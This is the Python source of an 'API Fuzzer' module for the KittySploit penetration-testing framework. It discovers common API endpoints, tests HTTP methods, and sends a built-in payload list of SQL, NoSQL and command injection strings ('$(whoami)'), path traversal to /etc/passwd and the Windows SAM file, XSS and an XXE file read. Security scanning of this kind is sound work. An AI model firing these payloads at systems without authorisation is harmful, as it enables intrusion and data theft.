API Fuzzer

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.module_result import finalize_http_scanner_run, target_base_url
import json
import urllib.parse
import random
import string


class Module(Auxiliary, Http_client):
    
    __info__ = {
        'name': 'API Fuzzer',
        'description': 'Fuzzes API endpoints to discover vulnerabilities, misconfigurations, exposed endpoints, and test various HTTP methods',
        'author': 'KittySploit Team',
        'tags': ['web', 'api', 'fuzzer', 'scanner', 'security'],
        'references': [
            'https://owasp.org/www-project-api-security/',
            'https://portswigger.net/web-security/api',
        ],
    'agent': {
        'risk': 'active',
        'effects': ['network_probe'],
        'expected_requests': 2,
        'reversible': True,
        'approval_required': False,
        'produces': ['tech_hints', 'risk_signals', 'endpoints', 'params'],
        'cost': 2.0,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 1,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'endpoints', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    # Common API endpoints to fuzz
    API_ENDPOINTS = [
        '/api',
        '/api/v1',
        '/api/v2',
        '/api/v3',
        '/rest',
        '/rest/api',
        '/graphql',
        '/graphql/v1',
        '/swagger',
        '/swagger.json',
        '/swagger.yaml',
        '/openapi.json',
        '/openapi.yaml',
        '/api-docs',
        '/api/docs',
        '/documentation',
        '/docs',
        '/v1',
        '/v2',
        '/v3',
        '/users',
        '/user',
        '/admin',
        '/auth',
        '/login',
        '/logout',
        '/register',
        '/token',
        '/oauth',
        '/oauth2',
        '/health',
        '/status',
        '/info',
        '/version',
        '/config',
        '/settings',
        '/data',
        '/files',
        '/upload',
        '/download',
    ]

    # HTTP methods to test
    HTTP_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD', 'TRACE']

    # Fuzzing payloads
    FUZZ_PAYLOADS = [
        # SQL Injection
        "' OR '1'='1",
        "' OR 1=1--",
        "1' UNION SELECT NULL--",
        "admin'--",
        "admin'/*",
        
        # NoSQL Injection
        '{"$ne": null}',
        '{"$gt": ""}',
        '{"$where": "1==1"}',
        
        # Command Injection
        '; ls',
        '| whoami',
        '`id`',
        '$(whoami)',
        
        # Path Traversal
        '../../../etc/passwd',
        '..\\..\\..\\windows\\system32\\config\\sam',
        
        # XSS
        '<script>alert(1)</script>',
        '"><img src=x onerror=alert(1)>',
        
        # XXE
        '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
        
        # JSON Injection
        '{"test": "value"}',
        '{"__proto__": {"isAdmin": true}}',
        
        # Special characters
        '../../',
        '..%2f..%2f',
        '%00',
        '\x00',
        '\n',
        '\r',
    ]

    def check(self):
        """
        Check if the target is accessible
        """
        try:
            response = self.http_request(method="GET", path="/")
            if response and response.status_code in [200, 301, 302, 403, 404, 401]:
                return True
            return False
        except Exception as e:
            return False

    def fuzz_endpoint(self, endpoint, method='GET', payload=None):
        """
        Fuzz a specific endpoint
        
        Args:
            endpoint: The endpoint to fuzz
            method: HTTP method to use
            payload: Optional payload to include
            
        Returns:
            dict: Fuzzing results
        """
        try:
            if method in ['POST', 'PUT', 'PATCH']:
                data = payload if payload else {'test': 'value'}
                response = self.http_request(
                    method=method,
                    path=endpoint,
                    data=data,
                    allow_redirects=False
                )
            else:
                if payload:
                    # Add payload as query parameter
                    endpoint = f"{endpoint}?test={urllib.parse.quote(str(payload))}"
                response = self.http_request(
                    method=method,
                    path=endpoint,
                    allow_redirects=False
                )

            if not response:
                return {
                    'endpoint': endpoint,
                    'method': method,
                    'found': False,
                    'error': 'No response'
                }

            # Analyze response
            status_code = response.status_code
            content_length = len(response.content)
            content_type = response.headers.get('Content-Type', 'unknown')

            # Check for interesting responses
            is_interesting = False
            indicators = []

            # Status codes that might indicate something interesting
            if status_code in [200, 201, 202]:
                is_interesting = True
                indicators.append(f'Status {status_code}')
            elif status_code in [401, 403]:
                is_interesting = True
                indicators.append(f'Authentication required ({status_code})')
            elif status_code in [500, 502, 503]:
                is_interesting = True
                indicators.append(f'Server error ({status_code})')

            # Check for API indicators
            if 'json' in content_type.lower():
                is_interesting = True
                indicators.append('JSON response')
                try:
                    json_data = json.loads(response.text)
                    if isinstance(json_data, dict):
                        indicators.append(f'JSON object with {len(json_data)} keys')
                except:
                    pass

            # Check for error messages that might reveal information
            error_indicators = ['stack trace', 'sql syntax', 'mysql_', 'postgresql', 'traceback (most recent']
            if any(indicator in response.text.lower() for indicator in error_indicators):
                is_interesting = True
                indicators.append('Error message detected')

            # Check for API documentation (require stronger markers than the word "api")
            doc_indicators = ['swagger-ui', '"openapi"', '"swagger"', 'openapi.json', 'graphql playground']
            if any(indicator in response.text.lower() for indicator in doc_indicators):
                is_interesting = True
                indicators.append('API documentation detected')

            # Soft-404 / generic HTML miss pages are never "discovered" APIs.
            body_l = (response.text or "")[:4000].lower()
            if status_code in (404, 410) or (
                status_code == 200
                and any(tok in body_l for tok in ("404 not found", "page not found", "error 404", "<title>404"))
                and "json" not in content_type.lower()
            ):
                is_interesting = False
                indicators = []

            return {
                'endpoint': endpoint,
                'method': method,
                'found': is_interesting,
                'status_code': status_code,
                'content_length': content_length,
                'content_type': content_type,
                'indicators': indicators,
                'response_preview': response.text[:200] if response.text else ''
            }

        except Exception as e:
            return {
                'endpoint': endpoint,
                'method': method,
                'found': False,
                'error': str(e)
            }

    def discover_endpoints(self):
        """
        Discover API endpoints by fuzzing common paths
        """
        print_status("Discovering API endpoints...")
        discovered = []

        for endpoint in self.API_ENDPOINTS:
            result = self.fuzz_endpoint(endpoint, method='GET')
            if result.get('found'):
                discovered.append(result)
                print_success(f"  Found: {endpoint} (Status: {result.get('status_code')})")
                if result.get('indicators'):
                    print_info(f"    Indicators: {', '.join(result['indicators'])}")

        return discovered

    def test_http_methods(self, endpoint):
        """
        Test various HTTP methods on an endpoint
        
        Args:
            endpoint: The endpoint to test
            
        Returns:
            list: List of allowed methods
        """
        allowed_methods = []

        for method in self.HTTP_METHODS:
            result = self.fuzz_endpoint(endpoint, method=method)
            status_code = result.get('status_code')
            indicators = result.get('indicators', [])
            if status_code is None:
                continue
            if status_code in [405, 501]:
                continue
            # Keep only methods that returned something meaningfully different
            # from a blind/empty probe to avoid flooding the console.
            if status_code >= 400 and not indicators:
                continue
            if status_code in [200, 201, 202, 401, 403, 500, 502, 503] or indicators:
                allowed_methods.append({
                    'method': method,
                    'status_code': status_code,
                    'indicators': indicators
                })

        return allowed_methods

    def fuzz_parameters(self, endpoint):
        """
        Fuzz parameters on an endpoint
        
        Args:
            endpoint: The endpoint to fuzz
            
        Returns:
            list: List of vulnerabilities found
        """
        vulnerabilities = []

        for payload in self.FUZZ_PAYLOADS[:10]:  # Test first 10 payloads
            result = self.fuzz_endpoint(endpoint, method='GET', payload=payload)

            if result.get('found'):
                # Check for potential vulnerabilities
                if 'error' in result.get('response_preview', '').lower():
                    vulnerabilities.append({
                        'endpoint': endpoint,
                        'payload': payload[:50],
                        'type': 'Potential injection',
                        'status_code': result.get('status_code')
                    })

        return vulnerabilities

    def run(self):
        """
        Execute the API fuzzing scan
        """
        self.discovered_endpoints = []
        self.vulnerabilities = []
        self.test_results = []

        print_status("Starting API fuzzing scan...")
        print_info(f"Target: {self.target}")
        print_info("")

        # Discover endpoints
        self.discovered_endpoints = self.discover_endpoints()
        print_info("")

        # If no endpoints discovered, try root API paths — but only keep live hits.
        if not self.discovered_endpoints:
            print_status("No common endpoints found, testing root API paths...")
            root_paths = ['/api', '/rest', '/v1', '/graphql']
            live_statuses = {200, 201, 202, 401, 403, 500, 502, 503}
            for path in root_paths:
                result = self.fuzz_endpoint(path, method='GET')
                status = result.get('status_code')
                print_info(f"  Testing: {path} (Status: {status})")
                if status is None:
                    continue
                if status == 404 or status == 410:
                    continue
                if status not in live_statuses and not result.get('found'):
                    continue
                # HTML miss pages often match the word "api" — require JSON/auth/error signal.
                indicators = [str(x).lower() for x in (result.get('indicators') or [])]
                preview = str(result.get('response_preview') or '').lower()
                ctype = str(result.get('content_type') or '').lower()
                if status in live_statuses and (
                    'json' in ctype
                    or any('auth' in ind or 'json' in ind or 'server error' in ind for ind in indicators)
                    or '"openapi"' in preview
                    or '"swagger"' in preview
                    or '__schema' in preview
                ):
                    self.discovered_endpoints.append(result)
                elif status in {401, 403}:
                    self.discovered_endpoints.append(result)
        print_info("")

        # Test HTTP methods on discovered endpoints
        if self.discovered_endpoints:
            print_status("Testing HTTP methods on discovered endpoints...")
            for endpoint_info in self.discovered_endpoints[:5]:  # Test first 5
                endpoint = endpoint_info['endpoint']
                methods = self.test_http_methods(endpoint)
                if methods:
                    summary = ", ".join(
                        f"{method_info['method']}={method_info['status_code']}"
                        for method_info in methods[:6]
                    )
                    print_info(f"  Methods on {endpoint}: {summary}")
                    if len(methods) > 6:
                        print_info(f"    +{len(methods) - 6} other method result(s)")
            print_info("")

        # Fuzz parameters
        if self.discovered_endpoints:
            print_status("Fuzzing parameters on discovered endpoints...")
            for endpoint_info in self.discovered_endpoints[:3]:  # Fuzz first 3
                endpoint = endpoint_info['endpoint']
                print_info(f"Fuzzing parameters on: {endpoint}")
                vulns = self.fuzz_parameters(endpoint)
                if vulns:
                    for vuln in vulns:
                        print_warning(f"  Potential vulnerability: {vuln['type']}")
                        self.vulnerabilities.append(vuln)
                print_info("")

        # Summary
        print_status("=" * 60)
        print_status("API Fuzzing Scan Summary")
        print_status("=" * 60)
        print_info(f"Endpoints discovered: {len(self.discovered_endpoints)}")
        print_info(f"Potential vulnerabilities: {len(self.vulnerabilities)}")
        print_status("=" * 60)
        print_info("")

        if self.discovered_endpoints:
            print_success("Discovered endpoints:")
            print_info("")
            table_data = []
            for endpoint_info in self.discovered_endpoints:
                indicators = ', '.join(endpoint_info.get('indicators', [])[:2])
                table_data.append([
                    endpoint_info['endpoint'],
                    endpoint_info.get('method', 'GET'),
                    endpoint_info.get('status_code', 'N/A'),
                    indicators
                ])
            print_table(['Endpoint', 'Method', 'Status', 'Indicators'], table_data)
            print_info("")

        if self.vulnerabilities:
            print_warning("Potential vulnerabilities:")
            print_info("")
            for vuln in self.vulnerabilities:
                print_info(f"  - {vuln['endpoint']}: {vuln['type']}")
        else:
            print_info("No obvious vulnerabilities detected during fuzzing.")

        return finalize_http_scanner_run(
            self,
            self.vulnerabilities,
            title="API Fuzzing Finding",
            severity="medium",
            category="api",
            findings_key="api_findings",
            dedupe_keys=("endpoint", "type"),
            hit_mapper=lambda hit: {
                "endpoint": hit.get("endpoint"),
                "method": hit.get("method", "GET"),
                "request_url": target_base_url(self, path=str(hit.get("endpoint") or "/")),
                "status_code": hit.get("status_code"),
                "type": hit.get("type"),
                "evidence_snippet": ", ".join(hit.get("indicators") or []) or hit.get("type"),
            },
        )